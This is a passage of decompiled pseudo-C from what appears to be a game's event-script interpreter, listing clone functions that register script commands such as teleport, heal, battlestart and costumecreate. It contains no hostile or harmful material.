(PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSuicide::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2A1C: using guessed type int (__stdcall *PineEventScriptNode__ShineSuicide___vftable_)(int tr); //----- (004AB190) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRun::sb_CloneMe(PineEventScriptNode::ShineRun *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "run", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRun::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2A38: using guessed type int (__stdcall *PineEventScriptNode__ShineRun___vftable_)(int tr); //----- (004AB1F0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWalk::sb_CloneMe(PineEventScriptNode::ShineWalk *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "walk", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWalk::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2A50: using guessed type int (__stdcall *PineEventScriptNode__ShineWalk___vftable_)(int tr); //----- (004AB250) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMapLight::sb_CloneMe(PineEventScriptNode::ShineMapLight *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "maplight", 0, 3, 3); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMapLight::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2A6C: using guessed type int (__stdcall *PineEventScriptNode__ShineMapLight___vftable_)(int tr); //----- (004AB2B0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMapFog::sb_CloneMe(PineEventScriptNode::ShineMapFog *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "mapfog", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMapFog::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2A8C: using guessed type int (__stdcall *PineEventScriptNode__ShineMapFog___vftable_)(int tr); //----- (004AB310) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEffectObject::sb_CloneMe(PineEventScriptNode::ShineEffectObject *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "effectobj", 1u, 4, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEffectObject::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2AA8: using guessed type int (__stdcall *PineEventScriptNode__ShineEffectObject___vftable_)(int tr); //----- (004AB370) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEffectLocate::sb_CloneMe(PineEventScriptNode::ShineEffectLocate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "effectloc", 1u, 6, 6); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEffectLocate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2AC8: using guessed type int (__stdcall *PineEventScriptNode__ShineEffectLocate___vftable_)(int tr); //----- (004AB3D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAggro::sb_CloneMe(PineEventScriptNode::ShineAggro *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "aggro", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAggro::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2AE8: using guessed type int (__stdcall *PineEventScriptNode__ShineAggro___vftable_)(int tr); //----- (004AB430) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobWeaponRate::sb_CloneMe(PineEventScriptNode::ShineMobWeaponRate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "mobweaponrate", 1u, 1, 8); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobWeaponRate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2B04: using guessed type int (__stdcall *PineEventScriptNode__ShineMobWeaponRate___vftable_)(int tr); //----- (004AB490) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobDetectRange::sb_CloneMe(PineEventScriptNode::ShineMobDetectRange *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "mobdetectrange", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobDetectRange::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2B28: using guessed type int (__stdcall *PineEventScriptNode__ShineMobDetectRange___vftable_)(int tr); //----- (004AB4F0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineHeal::sb_CloneMe(PineEventScriptNode::ShineHeal *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "heal", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineHeal::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2B4C: using guessed type int (__stdcall *PineEventScriptNode__ShineHeal___vftable_)(int tr); //----- (004AB550) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAnimate::sb_CloneMe(PineEventScriptNode::ShineAnimate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "animate", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAnimate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2B68: using guessed type int (__stdcall *PineEventScriptNode__ShineAnimate___vftable_)(int tr); //----- (004AB5B0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDuplicate::sb_CloneMe(PineEventScriptNode::ShineDuplicate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "duplicate", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDuplicate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2B84: using guessed type int (__stdcall *PineEventScriptNode__ShineDuplicate___vftable_)(int tr); //----- (004AB610) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitIdle::sb_CloneMe(PineEventScriptNode::ShineWaitIdle *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "waitidle", 0, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitIdle::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2BA4: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitIdle___vftable_)(int tr); //----- (004AB670) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDeathCountClear::sb_CloneMe(PineEventScriptNode::ShineDeathCountClear *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "deathcountclear", 0, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDeathCountClear::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2BC4: using guessed type int (__stdcall *PineEventScriptNode__ShineDeathCountClear___vftable_)(int tr); //----- (004AB6D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemAttrSet::sb_CloneMe(PineEventScriptNode::ShineItemAttrSet *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "itemattrset", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemAttrSet::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2BE8: using guessed type int (__stdcall *PineEventScriptNode__ShineItemAttrSet___vftable_)(int tr); //----- (004AB730) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineScinarioCode::sb_CloneMe(PineEventScriptNode::ShineScinarioCode *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "scinariocode", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineScinarioCode::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2C08: using guessed type int (__stdcall *PineEventScriptNode__ShineScinarioCode___vftable_)(int tr); //----- (004AB790) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBattleStart::sb_CloneMe(PineEventScriptNode::ShineBattleStart *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "battlestart", 1u, 0, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBattleStart::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2C2C: using guessed type int (__stdcall *PineEventScriptNode__ShineBattleStart___vftable_)(int tr); //----- (004AB7F0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBattleStop::sb_CloneMe(PineEventScriptNode::ShineBattleStop *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "battlestop", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBattleStop::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2C4C: using guessed type int (__stdcall *PineEventScriptNode__ShineBattleStop___vftable_)(int tr); //----- (004AB850) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSendKQResult::sb_CloneMe(PineEventScriptNode::ShineSendKQResult *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "sendquestresult", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSendKQResult::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2C6C: using guessed type int (__stdcall *PineEventScriptNode__ShineSendKQResult___vftable_)(int tr); //----- (004AB8B0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInvidualReward::sb_CloneMe(PineEventScriptNode::ShineInvidualReward *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "invidualreward", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInvidualReward::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2C90: using guessed type int (__stdcall *PineEventScriptNode__ShineInvidualReward___vftable_)(int tr); //----- (004AB910) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineReturnValue::sb_CloneMe(PineEventScriptNode::ShineReturnValue *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "returnvalue", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineReturnValue::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2CB4: using guessed type int (__stdcall *PineEventScriptNode__ShineReturnValue___vftable_)(int tr); //----- (004AB970) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSubLayerShift::sb_CloneMe(PineEventScriptNode::ShineSubLayerShift *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "sublayershift", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSubLayerShift::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2CD4: using guessed type int (__stdcall *PineEventScriptNode__ShineSubLayerShift___vftable_)(int tr); //----- (004AB9D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTeleport::sb_CloneMe(PineEventScriptNode::ShineTeleport *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "teleport", 1u, 1, 3); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTeleport::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2CF8: using guessed type int (__stdcall *PineEventScriptNode__ShineTeleport___vftable_)(int tr); //----- (004ABA30) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemOwner::sb_CloneMe(PineEventScriptNode::ShineItemOwner *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "itemowner", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemOwner::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2D18: using guessed type int (__stdcall *PineEventScriptNode__ShineItemOwner___vftable_)(int tr); //----- (004ABA90) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobAttribute::sb_CloneMe(PineEventScriptNode::ShineMobAttribute *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "mobattr", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobAttribute::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2D38: using guessed type int (__stdcall *PineEventScriptNode__ShineMobAttribute___vftable_)(int tr); //----- (004ABAF0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineObjectCollect::sb_CloneMe(PineEventScriptNode::ShineObjectCollect *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "collect", 1u, 4, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineObjectCollect::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2D54: using guessed type int (__stdcall *PineEventScriptNode__ShineObjectCollect___vftable_)(int tr); //----- (004ABB50) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEndOfKingdomQuest::sb_CloneMe(PineEventScriptNode::ShineEndOfKingdomQuest *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "endofkq", 0, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEndOfKingdomQuest::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2D70: using guessed type int (__stdcall *PineEventScriptNode__ShineEndOfKingdomQuest___vftable_)(int tr); //----- (004ABBB0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEndOfGuildTournament::sb_CloneMe(PineEventScriptNode::ShineEndOfGuildTournament *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "endofgt", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEndOfGuildTournament::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2D8C: using guessed type int (__stdcall *PineEventScriptNode__ShineEndOfGuildTournament___vftable_)(int tr); //----- (004ABC10) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineGuildTorunamentResult::sb_CloneMe(PineEventScriptNode::ShineGuildTorunamentResult *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "gtresult", 1u, 1, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineGuildTorunamentResult::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2DA8: using guessed type int (__stdcall *PineEventScriptNode__ShineGuildTorunamentResult___vftable_)(int tr); //----- (004ABC70) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineCostumeCreate::sb_CloneMe(PineEventScriptNode::ShineCostumeCreate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "costumecreate", 1u, 3, 3); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineCostumeCreate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2DC8: using guessed type int (__stdcall *PineEventScriptNode__ShineCostumeCreate___vftable_)(int tr); //----- (004ABCD0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineCostumeTakeOff::sb_CloneMe(PineEventScriptNode::ShineCostumeTakeOff *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "costumetakeoff", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineCostumeTakeOff::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2DEC: using guessed type int (__stdcall *PineEventScriptNode__ShineCostumeTakeOff___vftable_)(int tr); //----- (004ABD30) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWeddingComplete::sb_CloneMe(PineEventScriptNode::ShineWeddingComplete *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "weddingcomplete", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWeddingComplete::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2E10: using guessed type int (__stdcall *PineEventScriptNode__ShineWeddingComplete___vftable_)(int tr); //----- (004ABD90) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePlayerWalk::sb_CloneMe(PineEventScriptNode::ShinePlayerWalk *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "playerwork", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePlayerWalk::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2E34: using guessed type int (__stdcall *PineEventScriptNode__ShinePlayerWalk___vftable_)(int tr); //----- (004ABDF0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineFindPlayer::sb_CloneMe(PineEventScriptNode::ShineFindPlayer *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "findplayer", 1u, 1, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineFindPlayer::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2E54: using guessed type int (__stdcall *PineEventScriptNode__ShineFindPlayer___vftable_)(int tr); //----- (004ABE50) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTeleportAll::sb_CloneMe(PineEventScriptNode::ShineTeleportAll *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "teleportall", 1u, 0, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTeleportAll::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2E74: using guessed type int (__stdcall 